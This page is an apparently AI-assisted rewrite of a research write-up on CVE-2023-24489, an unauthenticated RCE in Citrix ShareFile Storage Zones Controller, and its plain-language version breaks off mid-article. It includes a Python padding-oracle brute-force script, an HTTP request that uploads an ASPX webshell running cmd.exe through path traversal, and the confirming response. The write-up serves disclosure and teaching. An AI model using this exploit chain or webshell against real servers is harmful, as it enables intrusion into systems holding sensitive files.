Skip to content
RCE Write-up Advanced

Encrypted Doesn't Mean Authenticated: ShareFile RCE (CVE-2023-24489)

The ShareFile Storage Zones Controller had an unauthenticated file upload endpoint where the parentid parameter was decrypted with AES-CBC but not authenticated, allowing a padding oracle to bypass the decryption check. Combined with a path traversal in the uploadid parameter, an attacker could upload a webshell and achieve remote code execution.

Dylan Pindur Follow

Published on blog.assetnote.io

As part of the security research here at Assetnote, one thing we have noticed is that some types of software are more fruitful than others. File upload and remote access software are prime examples of this.

Assetnote Team, on blog.assetnote.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

Context

ShareFile is a cloud-based file sharing and collaboration application. Besides storing files in Citrix's cloud, it lets users keep files in their own data centre through a feature called "Storage Zone Connectors". The component that provides this is a .NET web application running under IIS called "Storage Zones Controller" (sometimes called Storage Center), and that is the target of this research.

A search online showed roughly 1000 to 6000 instances that are internet accessible. Because the software is used to store sensitive data, anything found here could have quite an impact. The research ended in unauthenticated arbitrary file upload and full remote code execution, tracked as CVE-2023-24489, with a security update published by Citrix.

Setup

After installing Storage Zones Controller, the researcher was greeted with a mix of .NET web technologies: multiple .aspx files, some IIS sub-applications and some MVC endpoints. Enumeration started with the .aspx files because there was no extra work needed to determine how to access them. The tool used to decompile the backing classes was dnSpy.

No accounts or roles were needed: the whole point of the chain is that it works without authentication.

Finding it

A quick way to narrow the search is to list all the paths from the webroot that end in .aspx and copy this list into a brute-forcing tool. Any requests that return a 200 are a good starting point.

Bash
$ find . | grep -e '.*\.aspx$'
./sp/upload.aspx
./sp/upload-streaming-2.aspx
./documentum/upload.aspx
./documentum/upload-streaming-2.aspx
./upload-threaded-1.aspx
./ConfigService/SMTPConfig.aspx
./ConfigService/Login.aspx
./ConfigService/Admin.aspx
./ConfigService/Networking.aspx
./ConfigService/PreFlightCheck.aspx
./ConfigService/ImportConfigSettings.aspx
./ConfigService/UpdatePassphrase.aspx
./thumbnail.aspx
./upload-resumable-2.aspx
./upload-streaming-1.aspx
./WopiServer/HeartBeat.aspx
./upload-resumable-3.aspx
./cifs/upload.aspx
./cifs/upload-streaming-2.aspx
./heartbeat.aspx
./AdvancedStatus.aspx
./upload-singlechunk.aspx
./upload.aspx
./ProxyService/rest/storagecenter.aspx
./upload-resumable-1.aspx
./upload-streaming-2.aspx
./upload-threaded-3.aspx
./upload-threaded-2.aspx
./rest/queue.aspx

The page /documentum/upload.aspx caught the researcher's attention. The filename implies it is for uploading files and the request returned a 200, making it a great candidate for analysis. The backing class for this page, DocumentumConnector.Uploaders.Upload, was decompiled and reviewed.

The authentication check that is not one

The page immediately sets the current principal from a cookie by calling Auth.SetCurrentPrinicalFromSessionCookie. Looking into it, the application simply continues if there is no session cookie. So it is not really an authentication check and not something that needed to be worried about.

C#
public static void SetCurrentPrinicalFromSessionCookie()
{
    HttpCookie httpCookie = HttpContext.Current.Request.Cookies["DocumentumConnector_AuthId"];
    if (httpCookie != null)
    {
        string value = httpCookie.Value;
        if (!string.IsNullOrEmpty(value) && HttpContext.Current.Cache[value] != null)
        {
            IPrincipal principal = (IPrincipal)HttpContext.Current.Cache[value];
            HttpContext.Current.User = principal;
            Thread.CurrentPrincipal = principal;
        }
    }
}

The next security-adjacent check decrypts the parentid query parameter by calling FileUtility.GetDecryptedFolderPathById. If decryption fails, the return value of this method is an empty string, which causes an error to be returned and page execution to stop.

C#
...
NameValueCollection keys = UploadLogic.GetKeys(HttpContext.Current);
text = keys["uploadid"];
text2 = keys["parentid"] ?? "";
if (text2.IsNullOrEmpty())
{
    string text4 = string.Format("upload.aspx: ID='{0}' Missing parameters.", text2);
    LogManager.WriteLog(LogLevel.Normal, LogMessageType.Error, text4);
    ApiHelper.WriteError(text4);
    base.Response.End();
}
if (string.IsNullOrEmpty(text))
{
    text = Guid.NewGuid().ToString("n");
}
Upload.targetPath = FileUtility.GetDecryptedFolderPathById(text2);
if (Upload.targetPath.IsNullOrEmpty())
{
    string text5 = string.Format("Upload.aspx: Could not resolve the target path from parent id", Array.Empty<object>());
    LogManager.WriteLog(LogLevel.Normal, LogMessageType.Error, text5);
    ApiHelper.WriteError(text5);
}
...

This method is the only thing preventing a trivial anonymous file upload on this page, so it becomes the central obstacle.

A simple path traversal

Eventually the page calls ProcessRawPostedFile with the arguments filename, uploadId and parentid coming from query parameters. The decrypted parentid parameter is also present via the Upload.targetPath member variable.

C#
private int ProcessRawPostedFile(string filename, string uploadId, Hashtable files, Hashtable fileHashes, string parentid, List<ItemUpload> itemsUploaded)
{
    filename = Utils.SanitizeFilename(filename);
    string text = string.Concat(new string[]
    {
        DocumentumConnector.Util.OnPremise.ReadFromConfigFile("TempDir").TrimEnd(new char[] { '/' }),
        Path.DirectorySeparatorChar.ToString(),
        "ul-",
        uploadId,
        Path.DirectorySeparatorChar.ToString()
    });
    if (!Directory.Exists(text))
    {
        Directory.CreateDirectory(text);
    }
    string text2 = text + filename;
    string text3 = Upload.targetPath + filename;
    LogManager.WriteLog1(LogLevel.Normal, LogMessageType.Information, string.Format("upload.aspx.cs ProcessRawPostedFile(): using new code={0}, Request.TotalBytes={1}", !DocumentumConnector.Uploaders.Configuration.DisableFlashUploadImprovements, base.Request.TotalBytes));
    int totalBytes = base.Request.TotalBytes;
    byte[] array = new byte[totalBytes];
    Stream inputStream = base.Request.InputStream;
    inputStream.Read(array, 0, totalBytes);
    inputStream.Close();
    FileStream fileStream = new FileStream(text2, FileMode.Create, FileAccess.ReadWrite);
    fileStream.Write(array, 0, totalBytes);
    fileStream.Close();
    string text4 = null;

filename is sanitised, but uploadId is not. This means a path traversal is possible when these two values are concatenated. The decrypted value, Upload.targetPath, is concatenated with filename but the result is never used. Similarly, the parentid query parameter is passed in and also not used.

C#
string text3 = Upload.targetPath + filename;

At this stage everything needed to upload a webshell was available, except that an encrypted value for parentid had to be provided. Otherwise page execution would always stop before the upload was processed. A search for hardcoded keys was unlucky, so the implementation of GetDecryptedFolderPathById was examined instead. That turned up a small mistake that meant the whole check could be bypassed.

Root cause

Encryption is not authentication

On its own, encryption does not provide authentication, nor does it protect a message against tampering. Encryption is only a data transformation: it takes a stream of bytes and transforms them to a different stream of bytes. If the incorrect key is used, or the incoming stream is "incorrect", the message will be transformed with no issue. Whoever is reading the message will not recognise it as having any meaning; it will appear to be a random stream of bytes.

Since the only requirement is that the result is not an empty string, why does the check fail at all? Decrypting an invalid value should result in random bytes, which is definitely not an empty string. The reason is visible in the kind of encryption the application uses.

C#
string text = string.Empty;
try
{
    Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, OnPremise._salt);
    symmetricAlgorithm = Encryption.Wrapper.CreateAESObject();
    symmetricAlgorithm.Key = rfc2898DeriveBytes.GetBytes(symmetricAlgorithm.KeySize / 8);
    symmetricAlgorithm.IV = rfc2898DeriveBytes.GetBytes(symmetricAlgorithm.BlockSize / 8);
    ICryptoTransform cryptoTransform = symmetricAlgorithm.CreateDecryptor(symmetricAlgorithm.Key, symmetricAlgorithm.IV);
    using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(encryptedKey)))
    {
        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, 0))
        {
            using (StreamReader streamReader = new StreamReader(cryptoStream))
            {
                text = streamReader.ReadToEnd();
            }
        }
    }
}
catch (Exception ex)
{
    LogManager.WriteLog(LogLevel.High, LogMessageType.Error, string.Format("ERROR:: DecryptKeyAES: Input[{0}] Output[{1}].", encryptedKey, text));
    LogManager.WriteLog(LogLevel.High, LogMessageType.Error, string.Format("Exception: \n{0} \n{1}", ex.Message, ex.StackTrace));
}
return text;

The application is using AES, and if an exception is thrown, the return value text is not set. If text is not set, the empty string check will always fail.

Block ciphers and padding

To understand why AES might throw an exception, you have to understand block ciphers. AES uses a block cipher with a fixed block size of 128 bits (16 bytes). This means AES can only encrypt and decrypt data in blocks of 16 bytes. That is fine if all the messages are a multiple of 16 bytes, but not fine for other messages. To fix this problem, extra data is added to messages to ensure their length is a multiple of 16. This extra data is called "padding".

For AES in .NET, the default padding mode is a scheme called PKCS#7. In this scheme the value of each byte added is the total number of bytes added. For example, given the following 9 byte message:

TXT
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
FF FF FF FF FF FF FF FF FF

To reach 16 bytes, 7 bytes of padding are added, each with the value 0x07:

TXT
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
FF FF FF FF FF FF FF FF FF 07 07 07 07 07 07 07

In .NET padding is handled automatically: it is added when the message is encrypted and checked when decrypted. This is great for the developer, as it means they do not need to worry about padding. However, when a message is decrypted, if the padding does not conform to the scheme, an exception is thrown. This is why the empty string check was failing: the application was throwing padding exceptions, causing the return value to always be an empty string.

So the check can be bypassed without finding a completely correct encrypted message. It is only necessary to find one with valid padding. The simplest message with valid padding is one where the final block has one byte of padding, for example:

Since the value of each byte will be random and only the last byte matters, on average 1 in every 256 randomly generated messages will decrypt with valid padding. That could be brute-forced, but there is an easier method that exploits another quirk of block ciphers.

Cipher Block Chaining

A limitation with block ciphers on their own is that identical blocks will encrypt to the same value. This is an issue because it causes patterns present in the plaintext to also be present in the ciphertext. If patterns are present in the output, there is a good chance the encryption can be broken.

To overcome this problem, block ciphers use "modes of operation" which introduce randomisation to prevent identical blocks from being encrypted to the same value. The default mode of operation in .NET is called Cipher Block Chaining (CBC).

In CBC mode, each block is "chained" with the previously encrypted block. This is why an Initialisation Vector (IV) is sometimes needed for AES: the IV is the value used with the first block. In AES CBC mode the chaining is done by XORing each byte of the block with the corresponding byte in the previous block.

The snippet below shows how encryption works with this scheme.

Python
tempBlockZero = XorBlocks(plaintextBlocks[0], IV)
ciphertextBlocks[0] = EncryptBlock(tempBlockZero)

for n in range(1, numberOfBlocks):
    tempBlock = XorBlocks(plaintextBlocks[n], ciphertextBlocks[n-1])
    ciphertextBlocks[n] = EncryptBlock(tempBlock)

Decryption is the same process, but with the operations reversed.

Python
tempBlockZero = DecryptBlock(ciphertextBlocks[0])
plaintextBlocks[0] = XorBlocks(tempBlockZero, IV)

for n in range(1, numberOfBlocks):
    tempBlock = DecryptBlock(ciphertextBlocks[n])
    plaintextBlocks[n] = XorBlocks(tempBlock, ciphertextBlocks[n-1])

For the exploit, at least two blocks are needed because the IV cannot be controlled. The goal is a message which satisfies the following.

TXT
    -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- XX ciphertext (block 0)
XOR -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ?? temp block (block 1 decrypted)
  = -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 01 our goal

The value of the temp block cannot be known, but it will not change. XX is fully controlled and, because of how XOR works, all that is needed is to iterate over all possible values until hitting the one that, when XORed with the temp block, gives the target value. Since there are 256 possible values, on average half of them will need to be tried. That means roughly 128 requests, with a guaranteed correct guess after 256.

Exploitation

Step 1: find a parentid with valid padding

To find a message with valid padding, two blocks are used. The final byte of the first block is varied and everything else is left the same. It does not matter what the other values are, as long as they stay the same.

If the error "Invalid request method - GET" comes back, that means the decryption section was passed and the next check, which ensures the request method is a POST, was reached. That is good enough at this stage, since the only goal is to find the value for parentid.

Python
for i in range(0, 256):
    payload = [
        # block 0
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', i.to_bytes(1, byteorder='little'),

        # block 1
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41'
    ]
    payload = b''.join(payload)
    payload = base64.b64encode(payload)
    payload = urllib.parse.quote(payload, safe='')

    url = 'http://{}/documentum/upload.aspx?parentid={}&uploadid=x'.format(TARGET, payload)
    r = requests.get(url, verify=False)
    if r.status_code == 200:
        if 'Invalid request method - GET' in r.text:
            print('Valid padding:   {}'.format(payload))
            sys.exit(0)
        else:
            print('Invalid padding: {}'.format(payload))

The output of this script looks like the following.

Bash
$ python3 padder.py
Invalid padding: QUFBQUFBQUFBQUFBQUFBAEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBAUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBAkFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: [redacted]%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBBEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBBUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBBkFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: [redacted]%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBCEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBCUFBQUFBQUFBQUFBQUFBQUE%3D
...
Invalid padding: QUFBQUFBQUFBQUFBQUFBgUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBgkFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: [redacted]%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBhEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBhUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBhkFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: [redacted]%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBiEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBiUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBikFBQUFBQUFBQUFBQUFBQUE%3D
Valid padding:   [redacted]%3D

After several attempts, a value for parentid was found that did not throw a padding exception.

Step 2: upload the webshell through the traversal

That value was combined with the path traversal to upload an .aspx file to a writable directory in the webroot. The final request was as follows.

HTTP
POST /documentum/upload.aspx?parentid=[redacted]%3D&raw=1&unzip=on&uploadid=x\..\..\..\cifs&filename=x.aspx HTTP/1.1
Host: example.com
Content-Length: 720

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
    Response.Write("<pre>");
    Response.Write(Server.HtmlEncode(ExcuteCmd()));
    Response.Write("</pre>");
}
string ExcuteCmd()
{
    ProcessStartInfo psi = new ProcessStartInfo();
    psi.FileName = "cmd.exe";
    psi.Arguments = "/c whoami";
    psi.RedirectStandardOutput = true;
    psi.UseShellExecute = false;
    Process p = Process.Start(psi);
    StreamReader stmrdr = p.StandardOutput;
    string s = stmrdr.ReadToEnd();
    stmrdr.Close();
    return s;
}
</script>

The parentid carries the padding-valid ciphertext found in step 1. The uploadid value x\..\..\..\cifs is the unsanitised component that allows the path traversal, while filename=x.aspx is the sanitised name of the file. The body is the ASPX webshell, which runs cmd.exe /c whoami and writes the output into the response.

Step 3: request the uploaded file

Finally, the uploaded file was requested to see the result.

HTTP
GET /cifs/x.aspx HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
Cache-Control: private,no-store
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.5
Access-Control-Max-Age: 540
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
Date: Tue, 04 Jul 2023 04:32:24 GMT
Content-Length: 41

<pre>nt authority\network service</pre>

The response shows the output of whoami from the uploaded webshell, confirming remote code execution.

Impact

The chain gives unauthenticated arbitrary file upload and full remote code execution on the Storage Zones Controller. The particular endpoint is not enabled in all configurations, but it has been common amongst the hosts tested. Given the number of instances online and the reliability of the exploit, a big impact has already been seen from this vulnerability.

Fix

Citrix released a security update for CVE-2023-24489, which lists the vulnerable versions and how to upgrade. The report does not describe the code change itself.

For developers, the general advice is to use a mode of encryption that provides authentication. AES in Galois/Counter Mode (GCM) is a popular and fast choice. If an older mode of operation must be used, consider the "Encrypt-then-MAC" approach: the data is encrypted with CBC mode and then an HMAC (Hashed Message Authentication Code) is generated and appended to the output. Before decryption the HMAC is used to verify that the encrypted payload has not been modified.

Variants to test

  1. Other upload endpoints with an unsanitised identifier. The same pattern, a sanitised filename concatenated with an unsanitised uploadId, may exist in the other upload pages found in the webroot (sp/, cifs/, documentum/ and the root-level upload*.aspx files). A positive result is a file written outside the intended temporary directory, visible by requesting it from the webroot.
  2. CBC decryption checks that only test for an empty result. Send a two-block value with a varying final byte of the first block and watch for a response that differs from the padding failure, such as a different error message or a later-stage error. A positive result is any input that gets past decryption without being a legitimately encrypted value.
  3. Padding oracle behaviour. Compare responses for invalid versus valid padding: does it result in an error, are the errors different, does it take longer or shorter to process? Any of these can lead to a potential padding oracle attack.
  4. Default .NET AES settings in reviewed code. Look for Rfc2898DeriveBytes with AES defaults, CBC mode and PKCS#7 padding, and check whether a decryption exception leaves the return value unset. A positive result is a code path where a failed decryption is treated the same as a successful one, or where the failure is silently swallowed.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 27 min read.

What happened, in plain words

ShareFile is a product made by Citrix for sharing files and working on them together. Normally the files live in Citrix's cloud, but a company can choose to keep its files in its own data centre instead. The piece of software that makes that possible is called Storage Zones Controller (sometimes Storage Center). It is a web application written in .NET and it runs on a web server called IIS.

A researcher at Assetnote looked at this software and found a way to do two serious things without logging in at all: upload any file they wanted to the server, and then make the server run commands of their choosing. That second part is called remote code execution (RCE): the attacker's code runs on someone else's machine. The problem was given the identifier CVE-2023-24489, and Citrix published a security update for it.

A search online showed roughly 1000 to 6000 instances of this software reachable from the internet. Because the software is used to store sensitive data, anything found here could have quite an impact.

This article walks through the whole story from the beginning, assuming you can use a browser and a computer and nothing more. Every technical term is explained where it first appears.

Some background terms before we start

A few ideas come up again and again, so here they are up front.

  • A web application is a program that runs on a server and that you talk to through your browser. When you click a link or submit a form, your browser sends a request to the server, and the server sends back a response. A request has a method: GET is what your browser uses when you simply open a page, and POST is what it uses when you submit a form with data.
  • A URL is the address of something on the web. The part after a ? is called the query string, and it carries small named values called parameters, for example ?name=alice&colour=blue. The server-side program can read those values.
  • A cookie is a small piece of text that a website asks your browser to store and send back with every later request. It is how a site remembers who you are between page loads. A session cookie is a cookie that identifies a logged-in session.
  • Authentication means proving who you are, usually by logging in. Something that works unauthenticated works without logging in at all, which is what makes this finding serious.
  • .NET is a software platform from Microsoft for building applications. IIS (Internet Information Services) is Microsoft's web server, the program that receives requests and hands them to the application.
  • An .aspx file is a page in a .NET web application. It is a bit like an HTML page with program code embedded in it. When someone requests an .aspx page, the server runs the code inside it and sends back the result.
  • Decompiling means taking a finished program and turning it back into readable source code, so you can study how it works. The tool used here was dnSpy.
  • Enumeration means listing things out systematically: in this case, finding all the pages the application exposes, so you know what there is to look at.
  • A webroot is the folder on the server whose contents are served to visitors. A file placed inside it can usually be fetched with a normal browser request.
  • Brute-forcing means trying many possibilities one after another until something works, instead of being clever about it.
  • A webshell is a small program uploaded to a server that lets an attacker run commands on it through the browser.

Where to start

After installing Storage Zones Controller, the researcher was greeted with a mix of .NET web technologies: multiple .aspx files, some IIS sub-applications and some MVC endpoints. Enumeration started with the .aspx files because there was no extra work needed to determine how to access them: they are ordinary web pages, so you reach them with an ordinary request.

A quick way to narrow the search is to list all the paths from the webroot that end in .aspx and copy this list into a brute-forcing tool. Any requests that return a 200 are a good starting point. A 200 is the standard HTTP status code for "OK, here is the page"; a 404 would mean "not found".

Bash
$ find . | grep -e '.*\.aspx$'
./sp/upload.aspx
./sp/upload-streaming-2.aspx
./documentum/upload.aspx
./documentum/upload-streaming-2.aspx
./upload-threaded-1.aspx
./ConfigService/SMTPConfig.aspx
./ConfigService/Login.aspx
./ConfigService/Admin.aspx
./ConfigService/Networking.aspx
./ConfigService/PreFlightCheck.aspx
./ConfigService/ImportConfigSettings.aspx
./ConfigService/UpdatePassphrase.aspx
./thumbnail.aspx
./upload-resumable-2.aspx
./upload-streaming-1.aspx
./WopiServer/HeartBeat.aspx
./upload-resumable-3.aspx
./cifs/upload.aspx
./cifs/upload-streaming-2.aspx
./heartbeat.aspx
./AdvancedStatus.aspx
./upload-singlechunk.aspx
./upload.aspx
./ProxyService/rest/storagecenter.aspx
./upload-resumable-1.aspx
./upload-streaming-2.aspx
./upload-threaded-3.aspx
./upload-threaded-2.aspx
./rest/queue.aspx

Line by line:

  1. find . lists every file and folder underneath the current directory, which here is the webroot.
  2. The | symbol takes that list and passes it to the next command.
  3. grep -e '.*\.aspx$' keeps only the lines that end in .aspx. The $ means "end of line".
  4. The result is a list of every page in the application, such as ./documentum/upload.aspx and ./cifs/upload.aspx.

The page /documentum/upload.aspx caught the researcher's attention. The filename implies it is for uploading files, and the request returned a 200, making it a great candidate for analysis. The backing class for this page, DocumentumConnector.Uploaders.Upload, was decompiled and reviewed. A class is a named block of program code; "backing class" means the code that actually runs behind that page.

No accounts or roles were needed: the whole point of the chain is that it works without authentication.

The authentication check that is not one

The page immediately sets the current principal from a cookie by calling Auth.SetCurrentPrinicalFromSessionCookie. A principal is simply the identity the application thinks is making the request, the equivalent of "who is logged in". Looking into it, the application simply continues if there is no session cookie. So it is not really an authentication check and not something that needed to be worried about.

C#
public static void SetCurrentPrinicalFromSessionCookie()
{
    HttpCookie httpCookie = HttpContext.Current.Request.Cookies["DocumentumConnector_AuthId"];
    if (httpCookie != null)
    {
        string value = httpCookie.Value;
        if (!string.IsNullOrEmpty(value) && HttpContext.Current.Cache[value] != null)
        {
            IPrincipal principal = (IPrincipal)HttpContext.Current.Cache[value];
            HttpContext.Current.User = principal;
            Thread.CurrentPrincipal = principal;
        }
    }
}

What this code does, step by step:

  1. It looks for a cookie named DocumentumConnector_AuthId in the incoming request.
  2. if (httpCookie != null) asks: did we find one? If there is no such cookie, the whole block is skipped and the method ends quietly. Nothing is rejected.
  3. If the cookie exists, its value is read and looked up in the server's in-memory cache (a temporary store of data kept for speed).
  4. If a matching entry is found, that stored identity is attached to the request.

The important part is what happens when the check fails: nothing. There is no "access denied" branch. A real authentication check would stop the request when the visitor is not logged in; this one just carries on. That is why the researcher did not need to worry about it.

The next security-adjacent check decrypts the parentid query parameter by calling FileUtility.GetDecryptedFolderPathById. Decryption is the reverse of encryption: turning scrambled data back into readable data using a secret key. If decryption fails, the return value of this method is an empty string, which causes an error to be returned and page execution to stop.

C#
...
NameValueCollection keys = UploadLogic.GetKeys(HttpContext.Current);
text = keys["uploadid"];
text2 = keys["parentid"] ?? "";
if (text2.IsNullOrEmpty())
{
    string text4 = string.Format("upload.aspx: ID='{0}' Missing parameters.", text2);
    LogManager.WriteLog(LogLevel.Normal, LogMessageType.Error, text4);
    ApiHelper.WriteError(text4);
    base.Response.End();
}
if (string.IsNullOrEmpty(text))
{
    text = Guid.NewGuid().ToString("n");
}
Upload.targetPath = FileUtility.GetDecryptedFolderPathById(text2);
if (Upload.targetPath.IsNullOrEmpty())
{
    string text5 = string.Format("Upload.aspx: Could not resolve the target path from parent id", Array.Empty<object>());
    LogManager.WriteLog(LogLevel.Normal, LogMessageType.Error, text5);
    ApiHelper.WriteError(text5);
}
...

Line by line:

  1. UploadLogic.GetKeys collects the parameters from the request into a collection called keys.
  2. text is set to the uploadid parameter, and text2 to the parentid parameter. The ?? "" means: if parentid is missing, use an empty string instead.
  3. If parentid is empty, the page writes an error saying parameters are missing and calls base.Response.End(), which stops the page there and then.
  4. If uploadid is empty, a random identifier is generated for it with Guid.NewGuid(). So uploadid is optional.
  5. Upload.targetPath is set to the result of decrypting parentid.
  6. If that decrypted result is empty, an error is written saying the target path could not be resolved.

This method is the only thing preventing a trivial anonymous file upload on this page, so it becomes the central obstacle. In other words: if you can get past the decryption check, the page will happily accept a file from anyone.

A simple path traversal

Eventually the page calls ProcessRawPostedFile with the arguments filename, uploadId and parentid coming from query parameters. The decrypted parentid parameter is also present via the Upload.targetPath member variable. A member variable is a value stored on the object so that different parts of the code can read it later.

C#
private int ProcessRawPostedFile(string filename, string uploadId, Hashtable files, Hashtable fileHashes, string parentid, List<ItemUpload> itemsUploaded)
{
    filename = Utils.SanitizeFilename(filename);
    string text = string.Concat(new string[]
    {
        DocumentumConnector.Util.OnPremise.ReadFromConfigFile("TempDir").TrimEnd(new char[] { '/' }),
        Path.DirectorySeparatorChar.ToString(),
        "ul-",
        uploadId,
        Path.DirectorySeparatorChar.ToString()
    });
    if (!Directory.Exists(text))
    {
        Directory.CreateDirectory(text);
    }
    string text2 = text + filename;
    string text3 = Upload.targetPath + filename;
    LogManager.WriteLog1(LogLevel.Normal, LogMessageType.Information, string.Format("upload.aspx.cs ProcessRawPostedFile(): using new code={0}, Request.TotalBytes={1}", !DocumentumConnector.Uploaders.Configuration.DisableFlashUploadImprovements, base.Request.TotalBytes));
    int totalBytes = base.Request.TotalBytes;
    byte[] array = new byte[totalBytes];
    Stream inputStream = base.Request.InputStream;
    inputStream.Read(array, 0, totalBytes);
    inputStream.Close();
    FileStream fileStream = new FileStream(text2, FileMode.Create, FileAccess.ReadWrite);
    fileStream.Write(array, 0, totalBytes);
    fileStream.Close();
    string text4 = null;

What happens here, in order:

  1. filename is passed through Utils.SanitizeFilename. Sanitising means cleaning a value so it cannot do anything dangerous, for example stripping out characters like .. or / that have special meaning in file paths.
  2. A temporary folder path is built by joining several pieces: the configured TempDir (read from a configuration file), a directory separator, the literal text ul-, the uploadId value, and another separator. So the folder is meant to be something like TempDir/ul-<uploadid>/.
  3. If that folder does not exist, it is created.
  4. text2 is the full path where the file will be written: the temporary folder plus the sanitised filename.
  5. text3 is the decrypted target path plus the filename.
  6. The rest reads the body of the request (the file contents) into memory and writes it to text2 on disk.

filename is sanitised, but uploadId is not. This means a path traversal is possible when these two values are concatenated. Path traversal means putting .. sequences into a path so that it climbs out of the folder it was supposed to stay in, like writing ../.. in a file dialog to reach a parent folder. Because uploadId goes straight into the folder path, a value containing .. can move the write location somewhere else entirely.

The decrypted value, Upload.targetPath, is concatenated with filename but the result is never used. Similarly, the parentid query parameter is passed in and also not used.

C#
string text3 = Upload.targetPath + filename;

This line builds a path and then nothing reads it. That is worth noticing: the value the decryption check was protecting is not actually used for the upload. The only thing the check does is decide whether the page continues.

At this stage everything needed to upload a webshell was available, except that an encrypted value for parentid had to be provided. Otherwise page execution would always stop before the upload was processed. A search for hardcoded keys was unlucky, so the implementation of GetDecryptedFolderPathById was examined instead. That turned up a small mistake that meant the whole check could be bypassed.

Root cause

Encryption is not authentication

On its own, encryption does not provide authentication, nor does it protect a message against tampering. Encryption is only a data transformation: it takes a stream of bytes and transforms them to a different stream of bytes. If the incorrect key is used, or the incoming stream is "incorrect", the message will be transformed with no issue. Whoever is reading the message will not recognise it as having any meaning; it will appear to be a random stream of bytes.

A useful comparison: encryption is like putting a letter into a locked box. The box hides the contents, but it does not tell you who wrote the letter or whether someone swapped it on the way. Authentication, in the cryptographic sense, is the extra guarantee that the message really came from someone holding the key and has not been altered. Without it, an attacker can feed the system garbage and the system will still try to process it.

Since the only requirement is that the result is not an empty string, why does the check fail at all? Decrypting an invalid value should result in random bytes, which is definitely not an empty string. The reason is visible in the kind of encryption the application uses.

C#
string text = string.Empty;
try
{
    Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, OnPremise._salt);
    symmetricAlgorithm = Encryption.Wrapper.CreateAESObject();
    symmetricAlgorithm.Key = rfc2898DeriveBytes.GetBytes(symmetricAlgorithm.KeySize / 8);
    symmetricAlgorithm.IV = rfc2898DeriveBytes.GetBytes(symmetricAlgorithm.BlockSize / 8);
    ICryptoTransform cryptoTransform = symmetricAlgorithm.CreateDecryptor(symmetricAlgorithm.Key, symmetricAlgorithm.IV);
    using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(encryptedKey)))
    {
        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, 0))
        {
            using (StreamReader streamReader = new StreamReader(cryptoStream))
            {
                text = streamReader.ReadToEnd();
            }
        }
    }
}
catch (Exception ex)
{
    LogManager.WriteLog(LogLevel.High, LogMessageType.Error, string.Format("ERROR:: DecryptKeyAES: Input[{0}] Output[{1}].", encryptedKey, text));
    LogManager.WriteLog(LogLevel.High, LogMessageType.Error, string.Format("Exception: \n{0} \n{1}", ex.Message, ex.StackTrace));
}
return text;

Line by line:

  1. text starts as an empty string. This is the value that will be returned.
  2. Everything else is inside a try block. A try block is code that might fail; if it does, the matching catch block runs instead of the program crashing.
  3. Rfc2898DeriveBytes turns a passphrase and a salt (a random value mixed in so the same passphrase gives different keys) into a proper encryption key.
  4. CreateAESObject creates an AES object. AES is a widely used encryption algorithm.
  5. The key and the IV (Initialisation Vector, explained below) are derived from the passphrase.
  6. The input, encryptedKey, is decoded from Base64 (a way of writing binary data using ordinary letters and digits) and fed through a decryption stream.
  7. If all goes well, the decrypted text is read into text.
  8. If anything throws an exception (an error signal in the program), the catch block logs the error and does nothing else. text is left as the empty string it started as.
  9. return text hands back either the decrypted text or an empty string.

The application is using AES, and if an exception is thrown, the return value text is not set. If text is not set, the empty string check will always fail. That is the whole bug in one sentence: a failed decryption is silently turned into "empty", and "empty" is what stops the page.

Block ciphers and padding

